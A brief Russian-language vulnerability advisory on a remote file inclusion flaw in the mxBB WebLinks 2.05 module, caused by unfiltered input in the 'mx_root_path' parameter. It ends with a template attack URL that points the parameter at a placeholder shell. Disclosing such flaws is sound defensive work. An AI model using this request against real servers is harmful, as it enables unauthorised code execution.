Программа: mxBB Module WebLinks 2.05
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «mx_root_path» сценарием /modules/mx_links/language/lang_english/lang_admin.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
//[path]/modules/mx_links/language/lang_english/lang_admin.php?mx_root_path=[shell]
